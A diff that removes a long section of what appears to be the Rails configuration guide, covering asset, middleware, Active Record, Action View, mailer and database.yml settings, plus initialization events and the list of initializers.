-* +config.assets.enabled+ a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in +config/application.rb+.
-
-* +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+.
-
-* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem.
-
-* +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively.
-
-* +config.assets.paths+ contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
-
-* +config.assets.precompile+ allows you to specify additional assets (other than +application.css+ and +application.js+) which are to be precompiled when +rake assets:precompile+ is run.
-
-* +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+.
-
-* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+.
-
-* +config.assets.debug+ disables the concatenation and compression of assets. Set to +true+ by default in +development.rb+.
-
-* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+.
-
-* +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store.
-
-* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled.
-
-* +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production.
-
-* +config.assets.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to the same configured at +config.logger+. Setting +config.assets.logger+ to false will turn off served assets logging.
-
-h4. Configuring Generators
-
-Rails 3 allows you to alter what generators are used with the +config.generators+ method. This method takes a block:
-
-<ruby>
-config.generators do |g|
- g.orm :active_record
- g.test_framework :test_unit
-end
-</ruby>
-
-The full set of methods that can be used in this block are as follows:
-
-* +assets+ allows to create assets on generating a scaffold. Defaults to +true+.
-* +force_plural+ allows pluralized model names. Defaults to +false+.
-* +helper+ defines whether or not to generate helpers. Defaults to +true+.
-* +integration_tool+ defines which integration tool to use. Defaults to +nil+.
-* +javascripts+ turns on the hook for JavaScript files in generators. Used in Rails for when the +scaffold+ generator is run. Defaults to +true+.
-* +javascript_engine+ configures the engine to be used (for eg. coffee) when generating assets. Defaults to +nil+.
-* +orm+ defines which orm to use. Defaults to +false+ and will use Active Record by default.
-* +performance_tool+ defines which performance tool to use. Defaults to +nil+.
-* +resource_controller+ defines which generator to use for generating a controller when using +rails generate resource+. Defaults to +:controller+.
-* +scaffold_controller+ different from +resource_controller+, defines which generator to use for generating a _scaffolded_ controller when using +rails generate scaffold+. Defaults to +:scaffold_controller+.
-* +stylesheets+ turns on the hook for stylesheets in generators. Used in Rails for when the +scaffold+ generator is run, but this hook can be used in other generates as well. Defaults to +true+.
-* +stylesheet_engine+ configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to +:css+.
-* +test_framework+ defines which test framework to use. Defaults to +false+ and will use Test::Unit by default.
-* +template_engine+ defines which template engine to use, such as ERB or Haml. Defaults to +:erb+.
-
-h4. Configuring Middleware
-
-Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
-
-* +ActionDispatch::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+.
-* +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+.
-* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled if +config.action_controller.allow_concurrency+ is set to +false+, which it is by default.
-* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
-* +Rack::Runtime+ sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request.
-* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs.
-* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless.
-* +ActionDispatch::RequestId+ makes a unique X-Request-Id header available to the response and enables the +ActionDispatch::Request#uuid+ method.
-* +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings.
-* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+.
-* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request.
-* +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+.
-* +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned.
-* +ActionDispatch::Cookies+ sets cookies for the request.
-* +ActionDispatch::Session::CookieStore+ is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the +config.action_controller.session_store+ to an alternate value. Additionally, options passed to this can be configured by using +config.action_controller.session_options+.
-* +ActionDispatch::Flash+ sets up the +flash+ keys. Only available if +config.action_controller.session_store+ is set to a value.
-* +ActionDispatch::ParamsParser+ parses out parameters from the request into +params+.
-* +Rack::MethodOverride+ allows the method to be overridden if +params[:_method]+ is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.
-* +ActionDispatch::Head+ converts HEAD requests to GET requests and serves them as so.
-* +ActionDispatch::BestStandardsSupport+ enables "best standards support" so that IE8 renders some elements correctly.
-
-Besides these usual middleware, you can add your own by using the +config.middleware.use+ method:
-
-<ruby>
-config.middleware.use Magical::Unicorns
-</ruby>
-
-This will put the +Magical::Unicorns+ middleware on the end of the stack. You can use +insert_before+ if you wish to add a middleware before another.
-
-<ruby>
-config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
-</ruby>
-
-There's also +insert_after+ which will insert a middleware after another:
-
-<ruby>
-config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
-</ruby>
-
-Middlewares can also be completely swapped out and replaced with others:
-
-<ruby>
-config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns
-</ruby>
-
-They can also be removed from the stack completely:
-
-<ruby>
-config.middleware.delete ActionDispatch::BestStandardsSupport
-</ruby>
-
-h4. Configuring i18n
-
-* +config.i18n.default_locale+ sets the default locale of an application used for i18n. Defaults to +:en+.
-
-* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+.
-
-h4. Configuring Active Record
-
-<tt>config.active_record</tt> includes a variety of configuration options:
-
-* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to +nil+ to disable logging.
-
-* +config.active_record.primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
-** +:table_name+ would make the primary key for the Customer class +customerid+
-** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+
-
-* +config.active_record.table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
-
-* +config.active_record.table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
-
-* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the +customers+ table. If set to false, then the Customer class will use the +customer+ table.
-
-* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:utc+ for Rails, although Active Record defaults to +:local+ when used outside of Rails.
-
-* +config.active_record.schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
-
-* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.
-
-* +config.active_record.lock_optimistically+ controls whether Active Record will use optimistic locking and is true by default.
-
-* +config.active_record.whitelist_attributes+ will create an empty whitelist of attributes available for mass-assignment security for all models in your app.
-
-* +config.active_record.auto_explain_threshold_in_seconds+ configures the threshold for automatic EXPLAINs (+nil+ disables this feature). Queries exceeding the threshold get their query plan logged. Default is 0.5 in development mode.
-
-* +config.active_record.mass_assignment_sanitizer+ will determine the strictness of the mass assignment sanitization within Rails. Defaults to +:strict+. In this mode, mass assigning any non-+attr_accessible+ attribute in a +create+ or +update_attributes+ call will raise an exception. Setting this option to +:logger+ will only print to the log file when an attribute is being assigned and will not raise an exception.
-
-The MySQL adapter adds one additional configuration option:
-
-* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether Active Record will consider all +tinyint(1)+ columns in a MySQL database to be booleans and is true by default.
-
-The schema dumper adds one additional configuration option:
-
-* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +config.active_record.schema_format == :ruby+.
-
-h4. Configuring Action Controller
-
-<tt>config.action_controller</tt> includes a number of configuration settings:
-
-* +config.action_controller.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.
-
-* +config.action_controller.asset_path+ takes a block which configures where assets can be found. Shorter version of +config.action_controller.asset_path+.
-
-* +config.action_controller.page_cache_directory+ should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>. For Rails, this directory has already been set to +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>). Changing this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your web server to look in the new location for cached files.
-
-* +config.action_controller.page_cache_extension+ configures the extension used for cached pages saved to +page_cache_directory+. Defaults to +.html+.
-
-* +config.action_controller.perform_caching+ configures whether the application should perform caching or not. Set to false in development mode, true in production.
-
-* +config.action_controller.default_charset+ specifies the default character set for all renders. The default is "utf-8".
-
-* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to +nil+ to disable logging.
-
-* +config.action_controller.request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
-
-* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is false in test mode and true in all other modes.
-
-* +config.action_controller.relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
-
-The caching code adds two additional settings:
-
-* +ActionController::Base.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>).
-
-* +ActionController::Base.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
-
-The Active Record session store can also be configured:
-
-* +ActiveRecord::SessionStore::Session.table_name+ sets the name of the table used to store sessions. Defaults to +sessions+.
-
-* +ActiveRecord::SessionStore::Session.primary_key+ sets the name of the ID column used in the sessions table. Defaults to +session_id+.
-
-* +ActiveRecord::SessionStore::Session.data_column_name+ sets the name of the column which stores marshaled session data. Defaults to +data+.
-
-h4. Configuring Action Dispatch
-
-* +config.action_dispatch.session_store+ sets the name of the store for session data. The default is +:cookie_store+; other valid options include +:active_record_store+, +:mem_cache_store+ or the name of your own custom class.
-
-* +config.action_dispatch.default_headers+ is a hash with HTTP headers that are set by default in each response. By default, this is defined as:
-
-<ruby>
-config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-XSS-Protection' => '1; mode=block', 'X-Content-Type-Options' => 'nosniff' }
-</ruby>
-
-* +config.action_dispatch.tld_length+ sets the TLD (top-level domain) length for the application. Defaults to +1+.
-
-* +ActionDispatch::Callbacks.before+ takes a block of code to run before the request.
-
-* +ActionDispatch::Callbacks.to_prepare+ takes a block to run after +ActionDispatch::Callbacks.before+, but before the request. Runs for every request in +development+ mode, but only once for +production+ or environments with +cache_classes+ set to +true+.
-
-* +ActionDispatch::Callbacks.after+ takes a block of code to run after the request.
-
-h4. Configuring Action View
-
-<tt>config.action_view</tt> includes a small number of configuration settings:
-
-* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is
-
-<ruby>
-Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe }
-</ruby>
-
-* +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a +String+
-
-* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to +nil+ to disable logging.
-
-* +config.action_view.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
-
-* +config.action_view.javascript_expansions+ is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as:
-
-<ruby>
-config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) }
-</ruby>
-
-However, you may add to this by defining others:
-
-<ruby>
-config.action_view.javascript_expansions[:prototype] = ['prototype', 'effects', 'dragdrop', 'controls']
-</ruby>
-
-And can reference in the view with the following code:
-
-<ruby>
-<%= javascript_include_tag :prototype %>
-</ruby>
-
-* +config.action_view.stylesheet_expansions+ works in much the same way as +javascript_expansions+, but has no default key. Keys defined for this hash can be referenced in the view like such:
-
-<ruby>
-<%= stylesheet_link_tag :special %>
-</ruby>
-
-* +config.action_view.cache_asset_ids+ With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running.
-
-* +config.action_view.embed_authenticity_token_in_remote_forms+ allows you to set the default behavior for +authenticity_token+ in forms with +:remote => true+. By default it's set to false, which means that remote forms will not include +authenticity_token+, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the +meta+ tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass +:authenticity_token => true+ as a form option or set this config setting to +true+
-
-* +config.action_view.prefix_partial_path_with_controller_namespace+ determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named +Admin::PostsController+ which renders this template:
-
-<erb>
-<%= render @post %>
-<erb>
-
-The default setting is +true+, which uses the partial at +/admin/posts/_post.erb+. Setting the value to +false+ would render +/posts/_post.erb+, which is the same behavior as rendering from a non-namespaced controller such as +PostsController+.
-
-h4. Configuring Action Mailer
-
-There are a number of settings available on +config.action_mailer+:
-
-* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging.
-
-* +config.action_mailer.smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
-** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
-** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
-** +:domain+ - If you need to specify a HELO domain, you can do it here.
-** +:user_name+ - If your mail server requires authentication, set the username in this setting.
-** +:password+ - If your mail server requires authentication, set the password in this setting.
-** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
-
-* +config.action_mailer.sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
-** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
-** +:arguments+ - The command line arguments. Defaults to +-i -t+.
-
-* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
-
-* +config.action_mailer.delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
-
-* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
-
-* +config.action_mailer.default_options+ configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
-<ruby>
-:mime_version => "1.0",
-:charset => "UTF-8",
-:content_type => "text/plain",
-:parts_order => [ "text/plain", "text/enriched", "text/html" ]
-</ruby>
-
-* +config.action_mailer.observers+ registers observers which will be notified when mail is delivered.
-<ruby>
-config.action_mailer.observers = ["MailObserver"]
-</ruby>
-
-* +config.action_mailer.interceptors+ registers interceptors which will be called before mail is sent.
-<ruby>
-config.action_mailer.interceptors = ["MailInterceptor"]
-</ruby>
-
-h4. Configuring Active Support
-
-There are a few configuration options available in Active Support:
-
-* +config.active_support.bare+ enables or disables the loading of +active_support/all+ when booting Rails. Defaults to +nil+, which means +active_support/all+ is loaded.
-
-* +config.active_support.escape_html_entities_in_json+ enables or disables the escaping of HTML entities in JSON serialization. Defaults to +false+.
-
-* +config.active_support.use_standard_json_time_format+ enables or disables serializing dates to ISO 8601 format. Defaults to +true+.
-
-* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-
-* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations.
-
-* +ActiveSupport::Deprecation.behavior+ alternative setter to +config.active_support.deprecation+ which configures the behavior of deprecation warnings for Rails.
-
-* +ActiveSupport::Deprecation.silence+ takes a block in which all deprecation warnings are silenced.
-
-* +ActiveSupport::Deprecation.silenced+ sets whether or not to display deprecation warnings.
-
-* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
-
-h4. Configuring a Database
-
-Just about every Rails application will interact with a database. The database to use is specified in a configuration file called +config/database.yml+. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default:
-
-* The +development+ environment is used on your development/local computer as you interact manually with the application.
-* The +test+ environment is used when running automated tests.
-* The +production+ environment is used when you deploy your application for the world to use.
-
-TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named <tt>--database</tt>. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting of the +config/database.yml+ file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.
-
-h5. Configuring an SQLite3 Database
-
-Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
-
-Here's the section of the default configuration file (<tt>config/database.yml</tt>) with connection information for the development environment:
-
-<yaml>
-development:
- adapter: sqlite3
- database: db/development.sqlite3
- pool: 5
- timeout: 5000
-</yaml>
-
-NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.
-
-h5. Configuring a MySQL Database
-
-If you choose to use MySQL instead of the shipped SQLite3 database, your +config/database.yml+ will look a little different. Here's the development section:
-
-<yaml>
-development:
- adapter: mysql2
- encoding: utf8
- database: blog_development
- pool: 5
- username: root
- password:
- socket: /tmp/mysql.sock
-</yaml>
-
-If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate.
-
-h5. Configuring a PostgreSQL Database
-
-If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases:
-
-<yaml>
-development:
- adapter: postgresql
- encoding: unicode
- database: blog_development
- pool: 5
- username: blog
- password:
-</yaml>
-
-Prepared Statements can be disabled thus:
-
-<yaml>
-production:
- adapter: postgresql
- prepared_statements: false
-</yaml>
-
-h5. Configuring an SQLite3 Database for JRuby Platform
-
-If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
-
-<yaml>
-development:
- adapter: jdbcsqlite3
- database: db/development.sqlite3
-</yaml>
-
-h5. Configuring a MySQL Database for JRuby Platform
-
-If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
-
-<yaml>
-development:
- adapter: jdbcmysql
- database: blog_development
- username: root
- password:
-</yaml>
-
-h5. Configuring a PostgreSQL Database for JRuby Platform
-
-If you choose to use PostgreSQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
-
-<yaml>
-development:
- adapter: jdbcpostgresql
- encoding: unicode
- database: blog_development
- username: blog
- password:
-</yaml>
-
-Change the username and password in the +development+ section as appropriate.
-
-h3. Rails Environment Settings
-
-Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
-
-* +ENV["RAILS_ENV"]+ defines the Rails environment (production, development, test, and so on) that Rails will run under.
-
-* +ENV["RAILS_RELATIVE_URL_ROOT"]+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
-
-* +ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets.
-
-* +ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
-
-
-h3. Using Initializer Files
-
-After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.
-
-NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
-
-TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, +01_critical.rb+ will be loaded before +02_normal.rb+.
-
-h3. Initialization events
-
-Rails has 5 initialization events which can be hooked into (listed in the order that they are run):
-
-* +before_configuration+: This is run as soon as the application constant inherits from +Rails::Application+. The +config+ calls are evaluated before this happens.
-
-* +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process.
-
-* +to_prepare+: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+.
-
-* +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the +production+ environment and not for the +development+ environment.
-
-* +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run.
-
-To define an event for these hooks, use the block syntax within a +Rails::Application+, +Rails::Railtie+ or +Rails::Engine+ subclass:
-
-<ruby>
-module YourApp
- class Application < Rails::Application
- config.before_initialize do
- # initialization code goes here
- end
- end
-end
-</ruby>
-
-Alternatively, you can also do it through the +config+ method on the +Rails.application+ object:
-
-<ruby>
-Rails.application.config.before_initialize do
- # initialization code goes here
-end
-</ruby>
-
-WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
-
-h4. +Rails::Railtie#initializer+
-
-Rails has several initializers that run on startup that are all defined by using the +initializer+ method from +Rails::Railtie+. Here's an example of the +initialize_whiny_nils+ initializer from Active Support:
-
-<ruby>
-initializer "active_support.initialize_whiny_nils" do |app|
- require 'active_support/whiny_nil' if app.config.whiny_nils
-end
-</ruby>
-
-The +initializer+ method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The +:before+ key in the options hash can be specified to specify which initializer this new initializer must run before, and the +:after+ key will specify which initializer to run this initializer _after_.
-
-Initializers defined using the +initializer+ method will be ran in the order they are defined in, with the exception of ones that use the +:before+ or +:after+ methods.
-
-WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
-
-The block argument of the +initializer+ method is the instance of the application itself, and so we can access the configuration on it by using the +config+ method as done in the example.
-
-Because +Rails::Application+ inherits from +Rails::Railtie+ (indirectly), you can use the +initializer+ method in +config/application.rb+ to define initializers for the application.
-
-h4. Initializers
-
-Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).
-
-*+load_environment_hook+*
-Serves as a placeholder so that +:load_environment_config+ can be defined to run before it.
-
-*+load_active_support+* Requires +active_support/dependencies+ which sets up the basis for Active Support. Optionally requires +active_support/all+ if +config.active_support.bare+ is un-truthful, which is the default.
-
-*+preload_frameworks+* Loads all autoload dependencies of Rails automatically if +config.preload_frameworks+ is +true+ or "truthful". By default this configuration option is disabled. In Rails, when internal classes are referenced for the first time they are autoloaded. +:preload_frameworks+ loads all of this at once on initialization.
-
-*+initialize_logger+* Initializes the logger (an +ActiveSupport::BufferedLogger+ object) for the application and makes it accessible at +Rails.logger+, provided that no initializer inserted before this point has defined +Rails.logger+.
-
-*+initialize_cache+* If +Rails.cache+ isn't set yet, initializes the cache by referencing the value in +config.cache_store+ and stores the outcome as +Rails.cache+. If this object responds to the +middleware+ method, its middleware is inserted before +Rack::Runtime+ in the middleware stack.
-
-*+set_clear_dependencies_hook+* Provides a hook for +active_record.set_dispatch_hooks+ to use, which will run before this initializer. This initializer -- which runs only if +cache_classes+ is set to +false+ -- uses +ActionDispatch::Callbacks.after+ to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
-
-*+initialize_dependency_mechanism+* If +config.cache_classes+ is true, configures +ActiveSupport::Dependencies.mechanism+ to +require+ dependencies rather than +load+ them.
-
-*+bootstrap_hook+* Runs all configured +before_initialize+ blocks.
-
-*+i18n.callbacks+* In the development environment, sets up a +to_prepare+ callback which will call +I18n.reload!+ if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
-
-*+active_support.initialize_whiny_nils+* Requires +active_support/whiny_nil+ if +config.whiny_nils+ is true. This file will output errors such as:
-
-<plain>
- Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id
-</plain>
-
-And:
-
-<plain>
-You have a nil object when you didn't expect it!
-You might have expected an instance of Array.
-The error occurred while evaluating nil.each
-</plain>
-
-*+active_support.deprecation_behavior+* Sets up deprecation reporting for environments, defaulting to +:log+ for development, +:notify+ for production and +:stderr+ for test. If a value isn't set for +config.active_support.deprecation+ then this initializer will prompt the user to configure this line in the current environment's +config/environments+ file. Can be set to an array of values.
-
-*+active_support.initialize_time_zone+* Sets the default time zone for the application based on the +config.time_zone+ setting, which defaults to "UTC".
-
-*+action_dispatch.configure+* Configures the +ActionDispatch::Http::URL.tld_length+ to be set to the value of +config.action_dispatch.tld_length+.
-
-*+action_view.cache_asset_ids+* Sets +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ to +false+ when Active Support loads, but only if +config.cache_classes+ is too.
-
-*+action_view.javascript_expansions+* Registers the expansions set up by +config.action_view.javascript_expansions+ and +config.action_view.stylesheet_expansions+ to be recognized by Action View and therefore usable in the views.
-
-*+action_view.set_configs+* Sets up Action View by using the settings in +config.action_view+ by +send+'ing the method names as setters to +ActionView::Base+ and passing the values through.
-
-*+action_controller.logger+* Sets +ActionController::Base.logger+ -- if it's not already set -- to +Rails.logger+.
-
-*+action_controller.initialize_framework_caches+* Sets +ActionController::Base.cache_store+ -- if it's not already set -- to +Rails.cache+.
-
-*+action_controller.set_configs+* Sets up Action Controller by using the settings in +config.action_controller+ by +send+'ing the method names as setters to +ActionController::Base+ and passing the values through.
-
-*+action_controller.compile_config_methods+* Initializes methods for the config settings specified so that they are quicker to access.
-
-*+active_record.initialize_timezone+* Sets +ActiveRecord::Base.time_zone_aware_attributes+ to true, as well as setting +ActiveRecord::Base.default_timezone+ to UTC. When attributes are read from the database, they will be converted into the time zone specified by +Time.zone+.
-
-*+active_record.logger+* Sets +ActiveRecord::Base.logger+ -- if it's not already set -- to +Rails.logger+.
-
-*+active_record.set_configs+* Sets up Active Record by using the settings in +config.active_record+ by +send+'ing the method names as setters to +ActiveRecord::Base+ and passing the values through.
-
-*+active_record.initialize_database+* Loads the database configuration (by default) from +config/database.yml+ and establishes a connection for the current environment.
-
-*+active_record.log_runtime+* Includes +ActiveRecord::Railties::ControllerRuntime+ which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
-
-*+active_record.set_dispatch_hooks+* Resets all reloadable connections to the database if +config.cache_classes+ is set to +false+.
-
-*+action_mailer.logger+* Sets +ActionMailer::Base.logger+ -- if it's not already set -- to +Rails.logger+.
-
-*+action_mailer.set_configs+* Sets up Action Mailer by using the settings in +config.action_mailer+ by +send+'ing the method names as setters to +ActionMailer::Base+ and passing the values through.
-
-*+action_mailer.compile_config_methods+* Initializes methods for the config settings specified so that they are quicker to access.
-
-*+set_load_path+* This initializer runs before +bootstrap_hook+. Adds the +vendor+, +lib+, all directories of +app+ and any paths specified by +config.load_paths+ to +$LOAD_PATH+.
-
-*+set_autoload_paths+* This initializer runs before +bootstrap_hook+. Adds all sub-directories of +app+ and paths specified by +config.autoload_paths+ to +ActiveSupport::Dependencies.autoload_paths+.
-
-*+add_routing_paths+* Loads (by default) all +config/routes.rb+ files (in the application and railties, including engines) and sets up the routes for the application.
-
-*+add_locales+* Adds the files in +config/locales+ (from the application, railties and engines) to +I18n.load_path+, making available the translations in these files.
-
-*+add_view_paths+* Adds the directory +app/views+ from the application, railties and engines to the lookup path for view files for the application.
-
-*+load_environment_config+* Loads the +config/environments+ file for the current environment.
-
-*+append_asset_paths+* Finds asset paths for the application and all attached railties and keeps a track of the available directories in +config.static_asset_paths+.
-
-*+prepend_helpers_path+* Adds the directory +app/helpers+ from the application, railties and engines to the lookup path for helpers for the application.
-
-*+load_config_initializers+* Loads all Ruby files from +config/initializers+ in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
-
